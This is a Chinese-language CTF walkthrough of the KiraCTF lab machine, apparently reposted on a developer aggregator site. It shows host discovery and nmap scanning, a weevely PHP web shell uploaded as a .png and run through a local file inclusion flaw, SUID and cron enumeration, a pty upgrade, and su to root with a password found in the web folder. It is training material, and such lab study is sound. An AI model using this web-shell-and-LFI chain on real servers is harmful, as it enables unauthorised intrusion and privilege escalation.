概述
文章目录
- KiraCTF
- 0x0 信息收集
- 0x1 RCE
- 0x2 提权
- 0x3 参考
KiraCTF
0x0 信息收集
使用netcover探测主机存活:
netdiscover -r 192.168.146.0/16
Currently scanning: Finished!
|
Screen View: Unique Hosts
7 Captured ARP Req/Rep packets, from 4 hosts.
Total size: 420
_____________________________________________________________________________
IP
At MAC Address
Count
Len
MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.146.155 00:0c:29:e9:db:4c
2
120
VMware, Inc.
192.168.146.2
00:50:56:f4:f2:38
3
180
VMware, Inc.
192.168.146.1
00:50:56:c0:00:08
1
60
VMware, Inc.
192.168.146.254 00:50:56:ef:ac:e5
1
60
VMware, Inc.
发现目标主机ip: 192.168.146.155 textcolor{orange}{192.168.146.155} 192.168.146.155,接着使用namp收集信息:
nmap -sS -sV -A -p- 192.168.146.155
PORT
STATE SERVICE VERSION
80/tcp open
http
Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
MAC Address: 00:0C:29:E9:DB:4C (VMware)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
发现只开启了80端口,是个http服务。通过浏览网页发现是个简单的文件上传页面
简单测试了一下,只能上传图片,只要文件后缀是常见的图片类型即可上传成功。接着测试language按钮功能,发现URL地址栏变成了:
而且网页标题赫然显示LFI,这不已经明示存在本地文件包含漏洞嘛?所以常规操作就是上传一个图片马,然后利用LFI进行RCE。
0x1 RCE
使用weevely生成shell:
weevely generate c shell.php
这样就在当前目录下生成一个php shell,并且连接密码是c。然后将 s h e l l . p h p textcolor{orange}{shell.php} shell.php改名为 s h e l l . p n g textcolor{orange}{shell.png} shell.png,上传成功后,网页会显示上传路径
使用weevely进行连接:
weevely http://192.168.146.155/language.php?lang=uploads/shell.png
[+] weevely 4.0.1
[+] Target:
192.168.146.155
[+] Session:
/home/kali/.weevely/sessions/192.168.146.155/language_1.session
[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.
weevely>
weevely> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
此时getshell,但是权限很低,接下来考虑提权。
0x2 提权
尝试SUID提权,运行命令:
find / -perm -u=s -type f &2>/dev/null
/bin/umount
/bin/ping
/bin/su
/bin/mount
/bin/fusermount
...
有ping就够了,尝试提权,首先在当前目录uploads下创建一个临时目录tmp,但是当使用到ll指令的时候提示没有该指令!看来不能用该方法提权了。接着查看计划任务:
cat /etc/crontab
# m h dom mon dow user
command
17 *
* * *
root
cd / && run-parts --report /etc/cron.hourly
25 6
* * *
root
test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6
* * 7
root
test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6
1 * *
root
test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
crontab -l
没有可以利用的计划任务,使用pspy64监视进程,也没有意外之喜,linpeas.sh再来搜搜还有些参考价值,尽管这个环境任然可以利用CVE-2021-3156进行提权,但是我想这肯定不是预期的,为什么我非要做出预期解?是因为这样可能会学到更多的东西。
就在我一筹莫展之际,发现了网站目录下有个奇怪的文件夹supersecret-for-aziz,顾名思义应该是个超级大的秘密,进去一看居然是bassam用户的密码,我滴个天!这是闹哪样?那这考察的应该就是su提权了,因为这个环境除了root就只有bassam这个用户了。
su
su: must be run from a terminal
关于这个问题,详细的说明参见https://blog.csdn.net/weixin_30522983/article/details/116941725。这里需要将我们的shell转换为pty,目标机器上面安装有python3,所以可以直接执行:
python3 -c 'import pty; pty.spawn("/bin/bash")'
此时我们的shell就变成了pty了,然后执行su提权:
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@bassam-aziz:/var/www/html$
www-data@bassam-aziz:/var/www/html$ su
su
Password: Password123!@#
root@bassam-aziz:/var/www/html#
最后CTF
root@bassam-aziz:~# cat flag.txt
cat flag.txt
THM{root-Is_Better-Than_All-of-THEM-31337}
0x3 参考
[1] https://www.cnblogs.com/peri0d/p/14247274.html
[2] https://www.cnblogs.com/sunmmi/articles/5958439.html
[3] https://www.cnblogs.com/sunmmi/articles/5958439.html
最后
以上就是美满毛衣为你收集整理的记一次渗透测试学习(二)KiraCTF的全部内容,希望文章能够帮你解决记一次渗透测试学习(二)KiraCTF所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复